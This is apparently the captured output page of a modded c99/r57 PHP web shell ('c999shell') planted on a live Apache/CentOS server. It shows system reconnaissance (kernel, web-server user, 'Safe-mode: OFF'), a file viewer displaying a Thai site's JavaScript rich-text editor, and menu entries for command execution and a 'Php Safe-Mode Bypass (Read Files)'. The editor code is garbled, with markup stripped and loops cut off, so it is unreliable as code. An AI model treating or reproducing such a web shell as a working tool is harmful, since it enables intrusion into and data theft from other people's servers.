Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/editor/ drwxr-xr-x | |
| Viewing file: Select action/file-type: var fID; //*** IFRAME ID var TXTOBJ; //*** TEXT Obj var format = new Array(); var viewm = new Array(); /**************************************/ document.onmousedown=doMousedown document.onmouseup=doMouseup function changetoIframeEditor(el) { var wi= '', hi= ''; if(el.style.height) hi= " height=" + el.style.height else if(el.rows) hi= " height=" + (14*el.rows+28) if(el.style.width) wi= " width=" + el.style.width else if(el.cols) wi= " width=" + (6*el.cols +25) var parent= el.parentElement while(parent.tagName != 'FORM') parent= parent.parentElement var oform= parent var fidx=0; while(document.forms[fidx] != oform) fidx++ ; // form index var val='' if(el.tagName=='TEXTAREA'){ fID= fidx+'VDevID'+el.name; val= el.innerText } else fID= fidx+'VDevID'+el.id var strx = createEditor(fID,wi,hi); el.outerHTML= strx iEditor(fID) if(el.tagName!='TEXTAREA') return var reg= eval("/ /i") ; if( reg.test(val) ) val= val.replace(/\n/g, ""); else val= val.replace(/\n/g, " "); val= val.replace(/\r/g, ""); val= val.replace(/\t/g, ""); val= val.replace(/\\/g, "\"); val= val.replace(/\'/g, "'"); setTimeout("document.frames['"+fID+"'].document.body.innerHTML='"+val+"'",200) oform[fID.split('VDevID')[1]].value= val } function iEditor(idF) { var obj=document.frames[idF] obj.document.designMode="On" obj.document.onmousedown= function(){ TXTOBJ=null; fID=idF; FMousedown();} format[idF]='HTML' viewm[idF]=1; } function formatDialogF() { var y = screen.height - parseInt('30em')*14 - 30 var feature = "font-family:Tahoma; font-size:10pt; dialogWidth:30em; dialogHeight:27em; dialogTop:"+y feature+= ";edge:sunken; help:no; status:no" var dialog= QBPATH+'/dialog.html' var arr= showModalDialog(dialog, "visual", feature); if(arr==null) return ; doFormatF(arr) } function FMousedown() { var objF=document.frames[fID]; // if(objF && objF.event && objF.event.button==2) formatDialogF(); var el = objF.event.srcElement doClick(el) } // init all found TEXTAREA in document function changeAllTextareaToEditors() { var i=0; while(document.all.tags('textarea')[i]) { changetoIframeEditor(document.all.tags('textarea')[i]) if(++i>0 && !document.all.tags('textarea')[i] ) i=0; } } // init all found IFRAME in document to Editable function changeAllIframeToEditors() { var i=0; while(document.all.tags('iframe')[i]) { changetoIframeEditor(document.all.tags('iframe')[i]) i++ } } // init only IFRAMEs that have "id=argument of initEditors" // e.g. changeIframeToEditor('id1','id2',...) function changeIframeToEditor() { for(var j=0;j |
| " str += strx + " |
"+ wrd + "
" ;
Range.pasteHTML(arr);
return
}
if(Range(0).tagName!='DIV') return
var urlx= QBPATH + '/divstyle.html'
var twidth= 0.8*screen.width, theight=190;
var tposx= (screen.width- twidth)/2
var tposy= screen.height- theight - 55
var newWin1=window.open(urlx,"divstyle","toolbar=no,width="+ twidth+",height="+ theight+ ",directories=no,status=no,scrollbars=yes,resizable=no, menubar=no")
newWin1.moveTo(tposx,tposy);
newWin1.focus()
}
function editDivBorder()
{
var objF=document.frames[fID];
if(!objF){alert('Please click to select the editor');return}
objF.focus()
var sel = objF.document.selection;
if (sel==null || sel.type!='Control') {alert('กรุณาเลือกกล่องข้อความที่ต้องการตบแต่ง');return}
var Range = sel.createRange();
if(Range(0).tagName!='DIV') return
var urlx= QBPATH + '/divborder.html'
var twidth= 0.8*screen.width, theight=215;
var tposx= (screen.width- twidth)/2
var tposy= screen.height- theight - 55
var newWin1=window.open(urlx,"divborder","toolbar=no,width="+ twidth+",height="+ theight+ ",directories=no,status=no,scrollbars=yes,resizable=no, menubar=no")
newWin1.moveTo(tposx,tposy);
newWin1.focus()
}
function editDivFilter()
{
var objF=document.frames[fID];
if(!objF){alert('Please click to select the editor');return}
objF.focus()
var sel = objF.document.selection;
if (sel==null || sel.type!='Control') {alert('กรุณาเลือกกล่องข้อความที่ต้องการตบแต่ง');return}
var Range = sel.createRange();
if(Range(0).tagName!='DIV') return
var urlx= QBPATH + '/divfilter.html'
var twidth= 0.8*screen.width, theight=210;
var tposx= (screen.width- twidth)/2
var tposy= screen.height- theight - 55
var newWin1=window.open(urlx,"divfilter","toolbar=no,width="+ twidth+",height="+ theight+ ",directories=no,status=no,scrollbars=yes,resizable=no, menubar=no")
newWin1.moveTo(tposx,tposy);
newWin1.focus()
}
/**** From Html-Code to UNICODE ***********/
function viewISOCode(str1)
{
var c0, str2='', strx='', idx;
idx=str1.indexOf('&#')
if(idx<0) return str1
var i=0
while (i:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]-- |